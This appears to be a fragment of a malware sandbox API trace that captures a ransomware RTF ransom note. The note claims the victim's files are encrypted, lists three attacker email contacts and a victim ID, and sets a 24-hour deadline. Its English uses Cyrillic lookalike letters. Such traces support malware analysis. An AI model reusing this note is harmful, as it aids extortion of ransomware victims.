t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.932] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T 